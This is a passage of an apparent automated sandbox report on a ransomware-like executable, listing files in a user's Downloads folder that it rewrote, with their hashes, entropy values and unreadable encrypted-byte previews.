Preview:	.0.Q....H].g...........~..NL...../.1.dt..%..0.I..)x@>.Y...W..a..i.IObx.[P.e.p..z....d.ti......$.......m.[.....a....(..B..B..C{Y.f......c....^.Q.B.K6l..O.i""L._d..P>.y..&....<n......^...r...,.9.B...sM&.+;.&.......X..ir.J.....4.@v;X.....-n...!.=Nb..@.F.{...j.8...B).A.t0(..mr..n..q...].U.W7.1..B..K.....v......>9._...-..f..%..`c.~..Z.......z5.uN...y.....fJV.Tj..y..~.{e.q.`H...q=...F....n'a.$.v.4..g.....I..@D..W..=lZ..1t.s.....\|i^.W.w.......ho...{..c..?B.IX...e8...I.n...fA...P.j.\|b..E....Q....;.1.G.....aqrF:.>.u..^(.g..Yf-...cj.c.)./........,3..........t..9y.>.'OZrd.J.Ul...&..~...[.../vBH.S.0.%.Q.....-..a2........g....P...Z..9aC..'4...nl....~...fG ..G...[....V8.<........T........P6..u-.G..-.v..#..j..S>....+@..s...._..."4]...e......<...W>..`am..oE....6[.W.Z9..<.lV.0~..!...q.p......X...#....b.P....f../.Ah...TK.7.G.n..:.wU..E.e).)r.~b..(w=...=T..-........L.s2.oIVd.W*..c.....6.....0..$...............@x].\|\o.j.X...[V..&.X?.V.m ..R'....

C:\Users\user\Downloads\EFOYFBOLXA.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.838445136986638
Encrypted:	false
SSDEEP:	24:WBM2cETrQT5Wf3cRaGDnPIXPGl4KfFSbXZ413Zxapzbg1DPvq1nFbyIlLY9od:GrPQTxxLPgKNAXZ41P+kZCTTlLuod
MD5:	437D0614ADC34CE83A979F0D0F2C295C
SHA1:	907A2928BD43053C8DC171AEFD38165B6453AAB5
SHA-256:	EDF56828F593AD6062872F07C14D80CBC30864A252DCFB00A8D5465DDD8F2B1B
SHA-512:	A64BE9A3CD357646E4E902F549C3C1129B220FF3F68A0033B2DEEF71BCEF23EA2B02812AD10511DBA5C5F0E3FCFA3DB77C55BE3C5FAB86C99C660EB4A1C5F07D
Malicious:	false
Preview:	...6U.......G../.8%..l.Vu).."...)...4.n.kY.............C4..R..E...G.....S...@..#.W.~...6.n...>..v.7.&e..}..........Y5...7y...@.....w8!..:.....m.....-.1;...\|X.B.....^K.d.L.5.RzVb._..d..>..>...I...}...=..1..m...\O7..!...7.c.7.....Vm.^;.vs.L..L.x.8UP.?.D.J%.0..T.K....B.S..p.8..c`..yu._A.$.\..W,.hy.6N...6$!{..qZ] O......S.....Q....%\.uSyI...{...........I>'.-....nuL7T....0....n.sE.DI......u...N.N.\|we.Z...>...J.I....N.g.D%...<..0.I.`.]4'H.+.s..(.`.X1...M@U...hp.R.../..:pm.C.[y..y.8Q..MH.{/#..}8...4.A.e..>.Ewv`......bW...6.$....y....llY.U...wo>....:~"..LNX..aS.V.F..i1%.$..u...TX5Q2...`;....<...r....,....^B2n..r.A.....x.p.R\|.....0."....&"....$.Y.t...>.l..$l.?..Fj.gC...(........}...}.5.RK4Z:I......a..C...B)iC?YA..j...d<..>.A.j.8...2..@.....1.W.m.........C.='.............o..3.M..#..Ub....gs.....H....2R7.)..........1....r.85nm.VN..L9...0N.L......+$.;........q9.....IwL.ZJ..Em....v..a.CV....B......I.B9Z....;.....h0(."..x:..@..Dl.D>^.9i..gC.uA1..j.,.

C:\Users\user\Downloads\EIVQSAOTAQ.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.858334770427535
Encrypted:	false
SSDEEP:	24:MqrXAADHDupadFbPc18ZfdsumzjxYWLnfUGXkFQ15hXMKS8ZjIw2:MqrhHDEa3/Zlfm17MGyOvB3pIw2
MD5:	5D8622B56E89DBF9EB6D5854F6F586A1
SHA1:	DA8752A2FE54EB5408E4229EDB7000C50F21FB5D
SHA-256:	440B90AAFA3D700820B0369EC2AAFCD6849F855732A2842A9761F23A82373F43
SHA-512:	0F0ED1CE15AA16CEFBBB1B623B4678715810FDA594D1B25C1F8D90FDCACDE935DC95BC6D68197123CA9B40D8F8313329845A7AAF72DCC0BA119519C1AA0BAE4B
Malicious:	false
Preview:	.~.V\Ou.6.....!...7...&...Qn..g:..W...'...K.LGe.A.....X.g..4).[T....d...$&A..J...3..j#.W`..m..[..%.[..b....h.<e...s.o.P......k.......Ul.z.:.WC]<x.P+....\.dI.:l.W.\|v!.....F{.J&.k...t._......![..z..`.=y....6..]03.......s..R....tg..4.n..U.EA......> ._....=.S.'p..I..\|..,.vy......\..H/.0u..{Xp....9...(....8...............jl...wn\|bE&0 .M...,D...@...a?.'H.r.v.-.V.K.e..nY)=...8.........._,F.to.(4.I,3T..$.$.....Gb......2.n...&..fy..S.D......ei:.H3.0..$....J..E..C..E"w..-x?.S.&..G...s.l%C.O..'...H..iD..9....aP....[(.F....=.....{ ..;.SMCg.....[..F....~..9.O.y......qd.......nD9+..,..!..$.<...............f.D.9Z.\Y....W...1...8...y.....'..;..4...=.....Hq...u..%W...1.)....j..bJaqe...d....!..E..h_C.JjkN..<}a^..Rk..y.Hp.K[g..K....O.T.vO.FC0.w&..h..U.;...[.^[Z..P%...$i......wq[G....FQ;..0...........6.\|._..e...b.w._.E.z.5^..VL....$1f...j.U....U#Zf..I...i.\|..K."....Zd...(h..n'c/....{.g.......................d.\..[.\|9..t..A...=..<..s.l.......n.gQ.

C:\Users\user\Downloads\EIVQSAOTAQ.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.863737310634793
Encrypted:	false
SSDEEP:	24:afPjEuPg2z6wOhCxe6cvBXfhuWZSQoo414B0iHo63USax55r69:afPwuY28hCe5XzZSc4Yw6kLx5g9
MD5:	D88607ABB5A0D3F16EF285844CB08B24
SHA1:	B1DCE198810A9F5596D42FCD332FDB668A9B3A38
SHA-256:	EA090BC9ED96194861809555B6A918204EF577A307A4D1E5D23210C026395991
SHA-512:	6A06DEA48948561D450CA6ED3EC56ADF62AB012BE53F87F58D23993E56E332E5B92B299555CCB02E6904B1824A2D3472FAA9ACF1AE433949C44B23E4448D9204
Malicious:	false
Preview:	8...F....Hq........q....O.Cf/....].$)..:...p...8..3.L`..'..C..1......Kf.V..ur...>..8...b<..7..c..b./."~~..rW...4k.$....6b.......u. f2..9..ot..&.$f......$....8.'.4W.@.z.....~.\.W8).{...J.s..ucY...\|Q?.E....."......G..;....f"$.(.0/I..&#.}.6..Hk4.d..{ ..O....=]..U.$"~.m%L.x.V.;i.[......K....3M..[$K.!...K.%_......{.t.-.....%+#o;.g...a6%9..5......X..e<..F+..3.M3.o....w!.~...7...=..L...........y.z.bs..G.2......\|.s...!`U..2...5F.p..aw.(............[...x..'..y.3..V...w..\|.I..>..=d,^.z..tG.5cr..Y.._...#.e7.:...Jn.n..d.I. o.M.'.E.C...\|..i )....(.P...3.(E.........Z..:....qm.k33l.......G2.l..^l.....',L.-.=.T}..r..J...*.....5..4S.H...~........X.#......&...c=..}9......`.r..}..y/.i.........l..B.<.:k......j.6I8......6.#wu.......:.w..}.>Y...2...A.U.U.c.(76).....?Z..>0qXv..I..?.)....3......y.".........,...Q.....V...S.....h:.t-%.s.. ...).....Q[]=.r5[..M].\|\|......9C.myv......vb..H....v...x.\|B...+fR.........Q.......g...^..\\|/..-....hk.'...i...6A....

C:\Users\user\Downloads\EOWRVPQCCS.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.836495874992307
Encrypted:	false
SSDEEP:	24:CrFoyIyuP/3xiWO3L4mWrd2iqPdNqD5/0cRli8vUW/6putDl14m/t+g:CFTmnxiWOIWP/qD5VQ+ygF+g
MD5:	AEC262D9BC095C631CB14AF14F4391CA
SHA1:	0606A959249169022B9282F976140A483BDDE4AB
SHA-256:	543C91A2E5281F93842027C4E7061E9556E4E8641F58376BE4F75D7BC04F7324
SHA-512:	BFC9498179E9A5A055C5DF012DC861DF93B64B07F39CE1E613716820E97A0E3E08262FDB131926FD06B174053C0177FE3721B871438BC14C9862834CF65AB28B
Malicious:	false
Preview:	..._.8...u0..E......O.......A...C2P.........RL\|:.n.R.2.x....pN....Z..dt.l..+Wf..5.....Ri.......}..Y.T...[..-..].L"q..#2h.oez="<.&Q.4@N..6h.V........"../..+... .i.&a$.....&.D=......'.R.;E...(...W..:&.Xa.Z..P...\|...^9....#..b.......ct7;..89.;#E.Z..s=.i..l..`.....56...g1i.c.._.+\..0..>G..8o..O.~?..Z.......J".e.....Q.\|_.j...;...o.<.H.=.U.l.f\.?.s&..n...e^c]bL..+...~.T.....x...,.u}PL5P..$..z...z..$j.Y.bf.../\|................BK....fI....SJ..c.A.A.i...ip.\EG`....8.Sr.R6...=......q`+.xd...+.M..m...3k[.C....g..............X..M.od.bKDz.l..).B..^g.J.l.....".....LgF..V[U....'K;q]M....)"S(...>Z..`.N.g.~..F..3M....~...iv.~a.f.c.b.<..F.A.g.':G.]...,F.Y..<.N.....\]..{[..H_...l:..}...K..p.Q.9....)`Z...6.\...D.:a./...n.=.=.._Tr9"..&.O.<2.w._D..Ft.g...S.]..8.e..o{.zlro....F:Mmz.gV.>.....}..N.?.h..!..R+........k.z.....l.y7*..P..!...&.O].{.z.$...G...<&.F...]....:E... ..L......O.._UkE.(@0H.2U3g..6.R...<..Ns.5o+o.B..WJ;..4........./..9.^.6...@..#I#C6.M.. ..e

C:\Users\user\Downloads\EOWRVPQCCS.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.83526784567811
Encrypted:	false
SSDEEP:	24:s603CiNvf8gi2F19m4NFW2zGhS4h3rb6pjNr5EYjPJa0z4PwT3N:s8gf19mOJChS4h/6HOYewZ
MD5:	61DDB3607B173102632F71E1D89F392F
SHA1:	F559B8D2877A33F1259C91C055608B1A2BC7F71F
SHA-256:	C4AEE9C26C589300D80EA081DF65AE4A837E9AF461277B5D31181C0F1B83CC6F
SHA-512:	6ECD80C3854F6A7FF3BCF5AB3BDBB8186B2993CC4BF4F3012F9D18B3C70025EE3515EF64259CD9B011234ECFFE1D4FA017F6B9E608109B82CB30B759436898EC
Malicious:	false
Preview:	...F......~..TZyW-y...w.U..T.,/..G.........<s<4.m...l>S.X...l:....-.G..I6.......kVl..q...@'.<.........N..^.b>.c... .B.2..#Z8..]:1.+...........{.......q.. .P........>.>t......D..Pu..geD.N,.1R...n.(O.l.;.%....z...T.....u.MJ..0..g.. .i.(.........D..X....5..].m..v.K^.e$g...iH...t.....^.d...&...9..2....J.-[9..d........~.........kIc..~76.`....iXtS.......iBP......TA.+..LPE......y...7b.....C..C.0...-t.L#.ac2..c...:......RR..9=..P.J..S.<......(C\c.....Q.\.n%..h.j.1x.]g..`'..\.".I.b..?.;...^.&.o.K....)9.....A.{.{...O]H...V"...Z...m...]...&q..........DA.......\-i..P...j^.\..H..5O..o^...Xtf.?..i.\......G..n.....)...V..u.a.......k?..(.`l......f....O.'.O.........z.Y......i.-.....M.,m.~.e%...I.iN.D..P8. \>.v...p#_.9..B`m{.\\K]>......!.l.^.l..P.X..o....$.%..Rq...a..2.o.J..7...X.....M./....(.6u.P.Q.nS[...G..;.%cgE.s..=.=...=!.......;.fu.}q9.1....6.....(d.d.G.L....A..6K.g....T.AaO:.. c...j..W....@ ..0.5$4....x].T:c.z"..U..../..7.).4......(..O.....TF

C:\Users\user\Downloads\EOWRVPQCCS.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.845002317533281
Encrypted:	false
SSDEEP:	24:eYB5vZJJwwQG8H6qTopBLbWoOw1ugZKLQ4YFw80AiJaMq4avUz:eE5BJJzR8amozLbUw1HZIJaMq4gUz
MD5:	4286EBA29493D3AA61271C288F584BCE
SHA1:	2130CD7BC135CF97972EE9129E7F0FEAC91C5987
SHA-256:	0C96E888F1B00913FF3115FFB5CBFDDC9D802CAB3DD35FF38F4DB7F9630E18D3
SHA-512:	2E910F71052D728BEF1CD9D89B9E52B7F88A889021A66188EFA83CA157D41A9658BC3A47BEB001986216C414454721CBB5B26A53CAE4560E4846CD05776B220F
Malicious:	false
Preview:	.}5k....-.\|.....o..z.p......b.@.X.g...5f.z.-.Sv.5..:.<2..kat0..CV...8!...I$8!5_..\|".o...f..?..@..-._....DE-w.E...8 ...-.Z...+..5.(...]}(p...Pc.=.iY.y...d=.J...w$O2za.e.Z.o.\.2.'..W.kTUj..<}..1..6...n....>..yn}.y.5;....t....d..,.Aur....j.;..S.N.:Q....\..r.{^.ee.g...X..9..&.53.o.%.<...t.C....S6..\|..M...k(h.1h.q.Q_=F/v.==..6...[.............:hW..L.f...q..84..T{.v.+..;K[.nK..;W..Y..w.F..g.....-.gvG.f .qq.~..A.p.k..[F.....G...S_iKFx..3...x..C..'.......(...dE2.c?..@.Q.[IG).?.X...0.G......~H.{4.mh.117.z.(...........jN .M+wg..OZ.+.....V.....j..k...@j@..w\...\|k7..........x.Oiv>8.M......B..u..w........BQ.ZN....u@....\|.7.vqY...G..z. ./..1...H0.....>{LG.i...Q..K.Z..."C;..Q..\.O`p.....Y.....\|i.....wH~.sW....u_.k]"wa....]>b...G.Vl..b....?2../...J............HgG4./K..p..Ib.{..v$].2.m.. ..0<.7./...d<.).....2l.EN.jMN3j.&.M.5)U.f.b..v..~...a...WQ)"tX.T.E@#.&.}......X..-...>....:Q...y...........O..T.c1........_......=+v;..w..;B*E.z......t.o...w...H....D..= ..

C:\Users\user\Downloads\EWZCVGNOWT.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.831620796236002
Encrypted:	false
SSDEEP:	24:ALSju5AV1rIf5YO2jAr3sHoB4K/AatoWASwgNQzmMS4Rqa2qLrwTMayb:XVRImO28r3sHoBppiaNQzmMbRmMHb
MD5:	F9EB731BCC47297349648C9D67C1EBD3
SHA1:	E9936E1A9CF6D313908971632D1CB52AB63B8824
SHA-256:	987238D9B091EE2F634D5A117B17434A2EFC91A60D4C269669C258D1B11FE279
SHA-512:	39F827D627D9CD28D457CC8F6F34513C6C50BE4976F8DA591E733DAF6DDB7A1D5E19C97FF93EB99B53A8039F543B523498B34B8A44020CF5262A17CD2064A0EE
Malicious:	false
Preview:	X..}.I.i..i..l........u..cB.G......{.&..cIB....o.C....9.s.<.3..o....._-.b..m...)..~'.......w8-Gv......X.<h'...z.`.N..uB......6.....X[...TIA......:]...m.\...V,...>..Z.F+........'....mM.w.A.v.>...F.>..:.......?..1..R. ..=.;[.Q...K..:.yyW.n..[HW.g;].E...<.n7....'....T....#.V.ld$YW...S.z...E....y.;Q.b....RQfPk.l.i.....,'....b..:0...;P./....]Y33..#.....?W.O#VY.y..:...A..P.9...."P.6.Yd._.u...T.9....W'S....L...j....._../l4.......I.<...HW...Q"./.a.G.\...,&L.0.G(ZKXD.....B.....NV'6-...YSb......U....o.we..x..9~!M.>d'.3;...,E4....\|T&5.O..O_1.^.CQIB./.?.X(..!\|t........0.[E....4R^m...K..).1..........[.l.c4.......F..&:~.}.}u..Dg..k]!bq7..f..K.0/..v{^..p.'H<x.....&;..\...E3.q..../...q."...r.7.@=....i....`...k.t*.....(..d...E...[..".fO.....E..6...}.S...#~.@.T.}J...kbMn.,...#.)yR...t.Q.l.....4~"..CM.X.i...V5..9.L@..?....\.?o..c..6##.<.l.N.\=R..q..O.a.DICnJ...:...v...0...'9.$.6......"..2...g...E^...K.U4...`.aq.....R...N....>).R.I...J...~.Wg.y

C:\Users\user\Downloads\GIGIYTFFYT.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.857992259580738
Encrypted:	false
SSDEEP:	24:LYJpylyFO1SeUwavOM5OhKzp+lILQejORLyOHJdmFeDGQxFSpqnwQhm1n29:LkUlyFOfhG6KVXLpCRLyocF0me9
MD5:	C6F30A04EB517816489BDC5413244395
SHA1:	BB8D4AB1C80F34911BF3DE15C418F67E779E68AA
SHA-256:	A7442EA2AAA0847B87234F8359E6BA2B77B95B926A1B6A00861E58D39AC725D3
SHA-512:	505E6BF9674CFC2D6329B775BBA37B167F8E14F4215848533E6276AA05A13445EE9DFE70A38A4922A1E956D6697E3D0EA37281EB01E875CDD29F6422655D993F
Malicious:	false
Preview:	........hCA8\|..h.l/W2.Sp...IB.X!?y...".@....sG..j7...l..o#...i.:.a.8.)....w.?..de.,XjE0..g.r,.. 5N...=...6.(kK.yP0.......k.H".$..W.id...A.g.c.sk,@.v=...F.2.lSQ.......M.............#..;.I.].$.../....L\...:....{D...x..xk.`\|).pb.S....ykH.f$.....^W..7b........dM.v5S.m4.t.zC......k..m..O.H....>O..l.H.....2b..U.........."..[W....#.`.[p...!.k..f.f.....J..G.o&....u.B.A.S....S.m..B\......3....\w.}M..6....-Y...s..{.M.o%....z..!;...b.n.q&...i.........N.!.+...?.,%.........O`S..o.\|T....z.Z.$.Y.Xt....7.6w......uzPw..1<$X-.I.=.8.a.Z..Dq....`p...cq!s...,.......I.=q F.O3.~$Q..%..a.k.~.........j{.?.WI.....mp^..6p...(...q.dc.z....LA.N..F...iO.2W..ui....P.....7..C&.s.D9A............<"....@.$....b"}....L..C.......+.. u....E?..>....z.n.+...+..b..db.bC.S.z..<.}MMU..............sv..ex5.b..oh'.a.."O.L@.....{w.....%...R.<........-n`X.@...B...A....&.....94&,.X.>.".J.=..Z.a.......=.!i.d.....#..M_.O>...m:\/H...tS..".......d#.}R.t.q.DryC.........z...#E...)C....5

C:\Users\user\Downloads\GRXZDKKVDB.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.852346749056476
Encrypted:	false
SSDEEP:	24:N+d4YqtZRWolLb/VD0l+BzRmGi+IkkSdPrutwRNfKCoIraDkK0dLpsmaq8sdIo:NG385J/2l+lRmGFhFnMfIwWIvZvo
MD5:	B835443288437DC6EF94E50624EBD2F6
SHA1:	D2311F1E9C47C6D84CD11B147205EA42A39E3A46
SHA-256:	7F5F8F91C590106BB07CE69F20EDB6C2A35F9902C3C328096BBB65350B12FEFE
SHA-512:	B222F3FF02A5A0023A2087E5E0DD6FC70E7E609335900C25226497E6D1AC5120A288B2FB583FBF178C1EBFD950F4FEC2BD4B729AC258B395159C917FEFD6D499
Malicious:	false
Preview:	.....j.=...1.....\|/...0"`p;..t.0k.Wo.+ ..=h.V....f..zA...M.......sl.`...0.s.......[....y.&.<MY5G+'..Y.:.A.`....}?.m.S..&......M.h..l.......{.~J.......a..O..v. ...C$qIM.I.D!j.8.k?.`&,.l...Q.~I.....gfs.....}V...,...."..;.....MU..=?.=.b...(.(.c....?...s.4..S..D.AvW.ye...K....QXY?...>~..h.4.)......9.I.....7...8..h.d.Q.{qG.i"R..W.;:...6-.O.Z............."./f...!....%f.L.P...r...>..)V2.G..t.>.E........7.%>-..N.8b..J....3... CA!H+..)b.."0...........e.w.y.&T.... ...0..&..f.Z...Z..r..W...[.d.O.$<P.Qm..6.y...%D.....L..hc.C%.E.8<.R...k..kO0..Cv..{9 .......k....Wm......,....c........a.5..........\.^.1a..>.G. 1A....-.b%...E.......\|)....1z..U...C'.tr.j...-.x....d.^..P&...y3.q;.%....G-...Q...sZ......}t...#...6......nW..V.71..LzUK;......`N...qb.,n.M...15...Oj.i..Q.t.f..4(...s).....9w.v.....?x.=...8.4...].x..$(..1..:O...FC.....].a.%....*...bOU..=.b.......HM../9.........sk.a ?...m.#{f.........-N..73...j.V..X9%%/......q.8@Y^H.V...0....s.H..]L..3.

C:\Users\user\Downloads\GRXZDKKVDB.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.854457173432643
Encrypted:	false
SSDEEP:	24:WIKi49BpETn4PG51BYKFOzfp10gksYZxYHAt3TUhSg00Q25BTXayCnYObZjwc:z949BA5PAzfpPksnHAtjK500Q25EDpwc
MD5:	FD7DAA850A413EC45CC25B0769A27618
SHA1:	0CB968992C9EB3436C3FAAD639D8524327D4B28A
SHA-256:	B33AACE9514FADFB9AAC2383FDBCB185B72A0E3A41C836BB769BF1F5D0FD3341
SHA-512:	25F95408D5DB5006A693EDB7780B4D6E0704A5C7091E7AA5491ED7FC199CEB113B0C3CB3DD11BA2C2A5FDF865076F488A801050C500B7DD7BD405E06EE7560DA
Malicious:	false
Preview:	2&,...6...5....W$..L$..y.o"c.."...DXO..T(X .......\...p..6YLCi.s..B.."...u.T.I..^..@~/g...QB.EG..5.`k....<7...\..n\s.....?...[%e....C....'.{..d~.Z..Xd.aan...x..t..6.;..\...e..i.\.%.&r..X..#=....Y..)kS..&.\|`..n..0_..C+#...\|...VY\|k.h.......S../_....^.!p..8....fvv.]...W5I..=...rM.....!6X..A<..A.=h.b...{n/[.v..XF..onN..e.........\|...K..,.}.!b..%.`...Y.......suaW.v..)= ..u...#..>.. ....%..0Q.3?.T......M..f...?d+...:p.7<4%.v.O\[...%vm..\.L.O$.2.....'.........t.?..K.L.sC.X.Iv:].u..`3......@....=.]..(8z;}.n...~\...$a>]4..H...'=..........B...=..Yq?.Z...P^l.....X..f.`.CF9....N6.1.n.... @r.[..U.....0.{._..?>...R1.'....ev.5..(&..+.c.j..H...mG.Z4..P.}..x6".u.....\....8i.q..<.Wn.....^.N....~...J.J.3_....E..\|.y..x.].....V^.SD.BH.B_.=.............D.x.5..S&.5...Z..wr`....e?Q.2'.D.dyh5....-...q.B.........V4"...+...O........O..j=.."\|f..i)....E.<.6j.Z....;.3..CQ=<..J.pKY;..\...3.)..vvD.W.b.s..H1VR.....f..Q.N/WJq.H..c.0....RU<...0.y."..R.J..n.^...x

C:\Users\user\Downloads\NYMMPCEIMA.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.855343591948244
Encrypted:	false
SSDEEP:	24:zcWmt+VM819VM6orqhuCXFVdy5qB8wiqPsJ0xaqNZ8rQ+4AkjVsIFmUwrb:zc+VM8nVTcmFV59XNZ3ja
MD5:	A36C2EFB972D60BF3D0EA4F97D601253
SHA1:	E2463F006EDD7226B35F5D79580FC1D1E06E12C7
SHA-256:	8A3237505AFEEDC3862D7EDF93DD2ED16AF3936252E3367962EEE2EBE52F23D3
SHA-512:	4B6124DDD48D2E25494BE5973644375624286D1473A07DD83979C1ACDD3A9A7789ED739F63E02C5FACEF68EBD49358EB5DB3921268C7289980DAA1870E75C2EA
Malicious:	false
Preview:	..I.Z..j{.~>.E)...,U.....q%....n.@..Uy..a....7.Yu.h.<.0..B......v....../!2)e.k.......}{vr2...y..yI4m.M.2.Od..S..:...q..@4...X....f..`yNN1......U..l...+#..&..]..M.@Pa..w.p8..U...zD......{R......./..4..U..+........}9";.C.@de...7...[N......).@.7w`g.y.{.$R....}..pf.)4......}./..A....l....s.....ms...&dR..K....>....`..hU.i.c.P(W./.F\|.7............J....W$..]i.v.e..Y!.^.....7.......]....hn.bx(5.......?.1.r8..g.....r...l{yU......$?`.......eIa....T......`_.0..;.X..?...A)....'r.......s.bX...).Z....}........\|nU:.....S.......!......s.xu!..X>..g..df....Yv......C.Q..3..&.{..$.aF......"@.b.dY..;$...;.k.H9..~..[...I..).H.w......sk..N*..`..LA.......eK..l..>.w.0.d:_..]...PF.'..W...rF.......;.2q..gd..Y..E{J..WQ....].uR.7.J..uG.7..NE...:.T.....r.....?....../....o+...w&...w....mG.%..$..!.%B;...A.yG#.=.{...`..3..2..Ol...k.u.W.....'.j..-.jG.]..........i.d..l}..Y.............k.C....5R.X....D......1F...fi..Ja".c....z..O./.g...?.KP.LZ..7...j.?....

C:\Users\user\Downloads\PALRGUCVEH.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.857169221998996
Encrypted:	false
SSDEEP:	24:KsofNPxsrHQDDFSsxVwyHC9sy7aRsmtES6gwdTTce0qbYz+YdSVlghzm:KsItSzQ/FSEDiR+RjtES8df598z+Ycl3
MD5:	D959F52634DC2211AC1AE1C9D2CFBA7A
SHA1:	05643F2175E7D7F5ACC30598F19E3E7EB07AC10C
SHA-256:	1E96533029FC0D55721EA3F714F3D3800ED729E77EB9CA339FF2B06A2DBFF25A
SHA-512:	24F2FA4A9841C5F90AE2EF1EE8BA7F221D9F6F3142CC3F1E029C96D7236976BC4853CF94760D54770A8A80296C381EC2243890BBCF4878100727B93020F5257C
Malicious:	false
Preview:	...R.....D.7(..u{.\.a.2..M../.yG7?..w...H...mO...k>.e./.T....!!>.)..d..{'...#"...R..q..1<;..l..."DGTI....z.....)..e...T...@o..!..k,w9..g.4..+]..{..f..0..<lx....0.j..l.I....X..%.,......H..&..1...x.."..2B\|..g..>.Y.3..3.~.}Fw1.n...e...T.$..f..........#.G.).mCm0.....#7j-.s.R....!+.b.M...b..:..oZ-#.f.(....+.iG3.!NYV..Q...Y..]Q!_SA.}.D....yrQzRrl....r..ksw....'=j..0...U.$.5.$../p.6.`b....2t..k..R.~....iR.g..t......rT.$.G.. ~.t#.<...:.B$...;.u.z.I.R.U.......j.:I......-tZy.R.t....@..i...mF.%..@..._.$...P...5.].s..l....L[6..hnB..z.l...wiWx0.Dw..........l.3..Q`..F...5.{.;e.w`...P..'y5.@.....C.....=.zm..M......6r.......@...p(..{6....y.....bm.i@.1....S9.1.(..O:.......3x.z..5.....m.v0....a.e"....~h.g.Xgy.HD.....VyA.A.Z.Ed.%...;.(T.@.L.m{ALQ<>Wd#.5D-.....F&...a~........~...n..<..E@....F..o..>)..[4at..j......^q\.j.....E?.....(....$.Ia...}.}"\|....6..".^....^....j...'..R..b....L&.)......{g1.e..7[3.......j\|.S......:A..I].^..U...mC.j\|.c?..1U...Z.M...

C:\Users\user\Downloads\PALRGUCVEH.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.849217985512306
Encrypted:	false
SSDEEP:	24:QAUx8iARU/uMwVpfdiM6iuXWAeWr/PzLVxPsvpQ+67dTC5+1Pp4ui:Q5x8iARdTVdwGuXiWrzxx0Q9dmsPi
MD5:	71EC7F82761047097966B0AA15A24455
SHA1:	82B373D558A557741A4A061A722DC64E138A8037
SHA-256:	A57B25163C7BBA32B7303978FDCE387B139C6E7DD9A33F4D69053D8C2EBDF5B4
SHA-512:	1A982136E41E48DF05A96062CBE8CEB01856795803E81DF36233AF434C1C3338382B5BA01EB9515A61A6BA904E3AF141AE7A0D058BE20F014798E6B468A6D1D3
Malicious:	false
Preview:	.K....G...H..U.9...P.z.......n...ec^..y?b.[.?6.\.?..O....g.1.R...O.w}.D...Cwc.6.....2.A..>...M.....3....LKy..\..0..:.ld.p.3B-....~a..43....f.....v4..U.L..hg.....DhYFF}...w..NK.;..{..B....y..\|..g.tZ.......+O...k....j94.Y..;...Q..^...83]2.$....kL.M.:\|.DzT...V...`..:@2._....Q.......-.a...........z.q.....(.!a`.r......)............t...M4.E#..(~;i%.. ....{..A....p.9"...6uY..7..P.7....a..PI;L.rE...0....m.>../.. ......X..I...U.!.:.@...)-.Q._.z+..c+.W.].Os..,.....T{m...../(.)3...L...+..Z.Y....lG..[.2uW..V.T...J..K....N...'.s...ua.{.U...4...u.Kk,...].....yI.........8..~...N..>.....cv4..t.....;...Z..YRKqb..q....u..)..S#E..@?..E....O..=i.a..a0I...........z.....\...\|@.M~..........+.H.i.geC...1S\|.......d.D.B..(.1,e....(..O....+ i..v...J.........A...y.v.N...eS..9.sa.j?y.i..-9G..wF&.7.iB......96.A.....w."......U....<+Ph..-...).G...#.(?..I.."...k.i;.F.L...a.n..@.v...'.@b.x.]...Xl.}...@.).jr/v..)7.J....3.:....X...n.G..;.).M.0.=P+&).+.6$.h..5AN.=.6......T.'.

C:\Users\user\Downloads\PALRGUCVEH.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.85452466232262
Encrypted:	false
SSDEEP:	24:rEint8W5iBkilwZTfM7wXPEh+HiCXfCGaBpD4dzi2XygvpCptrgkvL3monxZy+s:rEinxIBki+fS6lC4UBpD4hvXBvpCXj3C
MD5:	F9C851F662D5C244190297440BF33BF8
SHA1:	5F84BBB124CA6A6D3A1A5F21DF3CBC4673519F21
SHA-256:	E71754BB2A12D0D28AD73C0A2E16634F49616B816D3D17D362649139A59092CB
SHA-512:	C491ACF1F2E59185699E088B670A2F2A519D9708FE33410B6921BE66DFA2B5FAD32FCEA6CA339727AF3A88664EEA9BE6D0E5A50A6C933051BBF1E397B9EB2BD4
Malicious:	false
